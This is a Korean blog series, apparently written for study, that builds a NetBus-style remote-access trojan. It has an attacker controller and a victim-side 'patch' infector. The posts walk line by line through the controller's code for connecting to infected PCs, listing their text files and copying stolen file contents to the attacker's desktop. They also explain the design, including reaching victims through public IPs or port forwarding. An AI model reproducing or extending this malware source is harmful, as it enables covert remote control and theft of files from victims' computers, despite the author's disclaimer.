지정된 소켓에 연결을 시도하는 함수라고 나와있습니다. 인자들을 살펴봅시다.

* SOCKET s

지정할 소켓입니다.

* struct sockaddr *name

소켓주소와 관련된 구조체인 sockaddr의 포인터를 인자로 받습니다. 헌데 우리는 sockaddr의 상위구조체인 sockaddr_in을 사용하였으므로 요구하는 자료형에 맞게 형변환을 시켜주었습니다.

*int namelen

name의 크기를 인자로 받습니다.

이 함수가 호출되고 난 후 관련된 이벤트는 우리가 WSAAsyncSelect함수에서 등록한 메세지(WM_SOCKET)에서 처리하게 됩니다.

여기까지가 Sconnect함수였습니다. 다음 함수를 한 번 살펴봅시다.

- int _strcmp(char *str1)

이 함수는 감염자의 소켓으로부터 메세지를 받았을 때 처리부분을 다르게 해주기 위해 만든 함수입니다. 매개변수는 소켓으로부터 받은 메세지(str1)입니다. 이렇게 받은 메세지를 구별하여 각각 다른 값을 return하게 한 후 본 코드에서 switch함수를 이용하여 처리를 각각 다르게 하는 식으로 구현되었습니다. 

그리고 이 함수에 등록되지 않은 메세지를 받았을 경우 else문구를 통해 999를 반환합니다. 그리고 switch문구에서 999값은 아무 처리도 하지 않도록 하였습니다. 

다음 함수를 살펴봅시다.

- void createTXT(char str[][256])

감염자의 PC로부터 찾은 파일의 경로들을 txt파일로 저장시켜주는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 str이란 2차원 배열입니다. 코드를 하나씩 살펴봅시다.

- HANDLE file;

파일을 만들기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len;

for문에 쓰일 변수인 i,j와 WriteFile함수에 쓰일 변수 str_len을 선언합니다.

- DWORD usersize;

GetUserName함수를 사용하기 위해 usersize변수를 선언합니다.

- TCHAR user[256] = L"",PATH[500] = L"";

GetUserName함수와 wsprintf함수에 쓰일 TCHAR형 배열을 선언과 동시에 초기화시킵니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출합니다. GetUserName함수를 한 번 살펴봅시다.

이 함수는 현재 스레드와 관련된 사용자의 이름을 가져오는 함수입니다. 인자들을 살펴봅시다.

* LPTSTR lpBuffer

가져온 사용자의 이름을 저장할 변수명입니다.

* LPDWORD lpnSize

가져온 사용자 이름의 크기를 저장할 변수의 포인터를 받습니다.

즉 정리하면 현재 사용자 계정의 이름을 알아내서 user에 저장시킵니다.

- wsprintf(PATH,L"C:\\Users\\%s\\Desktop\\넷버스txt파일경로.txt",user);

위 함수로 얻은 user을 사용하여 PATH에 txt파일을 만들 경로를 저장합니다. 저는 바탕화면에 넷버스txt파일경로라는 이름으로 텍스트파일을 만들기 위해 이렇게 작성하였습니다.

- file = CreateFile(PATH,GENERIC_READ | GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

저장된 PATH를 이용하여 파일을 생성합니다. 이때 CREATE_ALWAYS옵션을 주어 같은 명의 파일이 있어도 무조건 덮어쓰기 하도록 하였습니다.

- for(i=0;i<500;i++)

if(strcmp(str[i],"") == 0)

break;

for문을 이용하여 크기가 500인 str배열을 검사하여 몇개의 파일 경로를 가져왔는지 검사합니다. 예를 들어 파일 경로를 5개 가져왔다면 

str[0][256] ~ [4][256]까지가 들어있겠지요. 이렇게 되면 for문은 if문을 이용하여 str[5]에서 ""값을 발견하고 break를 통해 for문을 중지합니다.

- j=i;

위의 for문이 끝나면 i의 값을 j에 집어넣습니다. str[5]에서 중지가 되었으므로 i값은 5일 것이고 이 값을 j에 넣으면 j는 가져온 파일경로의 개수를 의미하게 됩니다.

- for(i=0;i<j;i++)

다시 i를 0으로 초기화 한후 가져온 파일 개수(j)만큼 아래의 코드를 반복합니다.

- WriteFile(file,str[i],strlen(str[i]),(LPDWORD)&str_len,NULL);

  WriteFile(file,"\r\n",strlen("\r\n"),(LPDWORD)&str_len,NULL);

아까 CreateFile함수를 호출하여 저장된 파일의 핸들에 str[i]값을 입력합니다. 즉 넷버스txt파일경로라는 텍스트 파일에 파일 경로를 하나씩 입력하게 되는 것이지요. 

그리고 하나의 파일 경로의 입력을 마치게 되면 다시 WriteFile함수를 호출하여 \r\n을 텍스트 파일에 입력하도록 합니다. \r\n은 엔터를 의미하는 값인데 일반 콘솔출력에서 \n을 쓴다면 파일에서는 \r\n을 씁니다.

- CloseHandle(file);

가져온 파일들의 경로를 전부 작성하였으면 파일의 핸들을 닫습니다.

- wsprintf(PATH,L"%s가 생성되었습니다.",PATH);

현재 작성한 파일이 생성되었다는 문자열을 PATH에 저장시킵니다.

- MessageBox(G_filefindDlg,PATH,L"파일 찾기 완료",MB_OK);

모든 작업이 끝났으면 MessageBox를 호출하여 사용자에게 파일찾기가 끝났음을 알립니다. 

- EnableWindow(GetDlgItem(G_filefindDlg,txt),TRUE);

마지막으로 리소스의 파일 찾기 대화상자에 있는 txt버튼을 활성화시킵니다. 

자 이제 마지막으로 남은 함수를 살펴봅시다.

- void copyTXT(void)

감염자의 PC에 있는 텍스트 파일의 내용을 소켓으로부터 받아 텍스트파일을 생성시켜주는 함수입니다. 일종의 복사라고 보시면 됩니다. 코드를 살펴봅시다.

- HANDLE file;

파일을 핸들을 저장할 HANDLE형 변수를 선언합니다.

- DWORD usersize,size;

GetUserName과 WriteFile에 쓰일 DWORD형 변수 2개를 선언합니다.

- int str_len;

MultiByteToWideChar함수에 쓰일 str_len변수를 선언합니다.

- TCHAR user[256] = L"",Wstring[256] = L"",Wstring2[256] = L"";

GetUserName과 MultiByteToWideChar, wsprintf함수에 쓰일 TCHAR형 변수들을 선언과 동시에 초기화합니다.

- SECURITY_ATTRIBUTES SA = {0};

CreateDirectory함수에 쓰일 SECURITY_ATTRIBUTES 구조체 변수를 선언과 동시에 초기화합니다.

- str_len =   MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

G_String.str2에 들은 문자열을 유니코드로 바꾸기 위해 먼저 문자열 길이를 가져옵니다. 여기서 G_String.str2은 감염자의 소켓으로부터 받은 텍스트 파일의 이름입니다.

(ex 1.txt)

- MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

str_len값을 이용하여 G_String.str2문자열을 유니코드로 변환시켜 Wstring에 저장시킵니다. 기본적으로 소켓으로 데이터를 전송받을 때는 멀티바이트로 데이터를 받는데 나중에 메세지박스에 문자열을 출력시킬 때에는 유니코드로 출력시켜야 하므로 유니코드로 변환시켜주었습니다.

- GetUserName(user,&usersize);

  wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물",user);

사용자 계정의 이름을 구해서 Wstring2에 폴더 경로를 저장시킵니다.

- CreateDirectory(Wstring2,&SA);

Wstring2값을 이용하여 CreateDirectory함수를 호출해 폴더를 만듭니다. 이때 두번째 인자는 아까 선언한 SECURITY_ATTRIBUTES 구조체 변수의 포인터입니다.

- wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물\\%s",user,Wstring);

이번엔 파일을 생성하기 위해 Wstring2에 새 경로를 저장합니다. 이 때 파일의 경로는 아까 CreateDirectory함수로 만든 폴더의 안입니다. 그리고 텍스트파일명은 아까 유니코드로 변환시킨 파일명이 저장된 Wstring을 사용하여 감염자의 PC에 있는 텍스트명과 똑같은 텍스트명을 사용합니다.

- file = CreateFile(Wstring2,GENERIC_READ | GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

저장된 Wstring2값을 이용하여 txt파일을 CREATE_ALWAYS옵션으로 만듭니다.

- WriteFile(file,G_String.string,strlen(G_String.string),&size,NULL);

감염자 PC의 파일에서 빼낸 데이터를 그대로 파일에 작성합니다. G_String.string이 바로 그 데이터가 저장된 변수입니다. 참고로 이 배열의 크기는 500000byte입니다.

- wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물\\%s가 생성되었습니다.",user,Wstring);

  MessageBox(G_fileCopyDlg,Wstring2,L"파일 복사 완료",MB_OK);

Wstring2에 유니코드 문자열을 넣고 MessageBox를 호출하여 사용자한테 작업이 완료되었음을 알립니다.

- CloseHandle(file);

  EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

모든 작업이 끝나면 file의 핸들을 닫고 파일 복사 대화상자의 copy버튼을 활성화시킵니다.

네 이것으로 넷버스 함수 포스팅을 마치겠습니다. 다음 포스팅에서는 감염자의 PC에서 작동하는 patch의 함수들을 포스팅하겠습니다.

Posted by englishmath

안녕하십니까. 이번 포스팅에서는 넷버스의 리소스를 한 번 보여드리겠습니다.

넷버스는 공격자가 쓰는 프로그램과 대상 사용자의 컴퓨터를 감염시킬 때 쓰는 프로그램 이렇게 두 개의 프로그램으로 나뉘므로 두 프로그램의 리소스를 다 보여드리겠습니다. 

편의상 공격자가 쓰는 프로그램을 넷버스, 감염시킬 때 쓰는 프로그램을 패치라고 하겠습니다.

먼저 넷버스의 리소스입니다.

감염된 PC에서 파일을 찾기 위해 만든 대화상자입니다. 현재는 텍스트파일만 찾아내기 위해 버튼을 하나만 만들었습니다.

감염된 PC에 있는 파일들의 경로를 입력하여 해당 파일을 복사할 수 있도록 하기 위해 만든 대화상자입니다. 입력받는 칸은 edit 컨트롤을 이용하여 만들었으며 길이의 제한을 받지 않기 위해 Auto HScroll 옵션을 TRUE로 주었습니다.

넷버스의 아이콘입니다.

생각보다 간단한 리소스이지요? 이번에는 패치의 리소스를 살펴봅시다.

패치는 아이콘외에는 리소스를 추가하지 않았습니다. PC를 감염시키는 용도로 사용하기 때문에 별다른 리소스가 필요하지 않기 때문입니다.

네 이것으로 리소스 포스팅을 마치겠습니다. 다음 포스팅에서는 넷버스에 쓰인 함수들을 살펴보겠습니다.

Posted by englishmath

안녕하십니까? 이번 포스팅에선 제가 만든 넷버스 알고리즘을 한 번 포스팅해보도록 하겠습니다.

넷버스란?

아주 오래전에 만들어진 악성 프로그램 중 하나로 사용자의 PC를 감염시켜 원격조종을 하는 것이 주 기능입니다.

일단 넷버스 알고리즘을 살펴보기 전에 다음과 같은 주의사항을 숙지하시기 바랍니다.

1. 앞으로 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 한 번 제가 만든 넷버스 알고리즘을 하나씩 살펴봅시다.

1. 넷버스는 TCP 소켓을 이용하여 통신을 한다.

2. 넷버스는 두개의 프로그램으로 이루어져 있으며 클라이언트(공격자) - 서버(감염자) 통신 방식을 이용한다.

3. 감염자가 자신의 PC에 악성코드를 실행시키면 공격자가 해당 감염자의 IP주소를 입력하여 소켓을 연결한다.

4. 소켓이 연결되면 send, recv api함수를 사용하여 데이터를 빼내온다.

5. 감염자의 PC는 공인IP를 사용하여야 한다. (사설 IP인 경우 공격자와 감염자가 같은 네트워크 상에 속해 있어야 하며 그게 아니라면 감염자에게 사설IP를 제공하는 기기(공유기 등)에 포트포워딩을 해주어야 한다.

6. 필자가 만든 넷버스는 오리지널 넷버스의 겉모습만 비슷하게 만들었을 뿐 제공해주는 기능에는 차이가 있다.

7. 일부 백신은 해당 프로그램을 악성코드로 취급할 수 있다.

이정도 등이 있습니다. 자 그럼 다음 포스팅에선 리소스를 살펴보겠습니다.




Posted by englishmath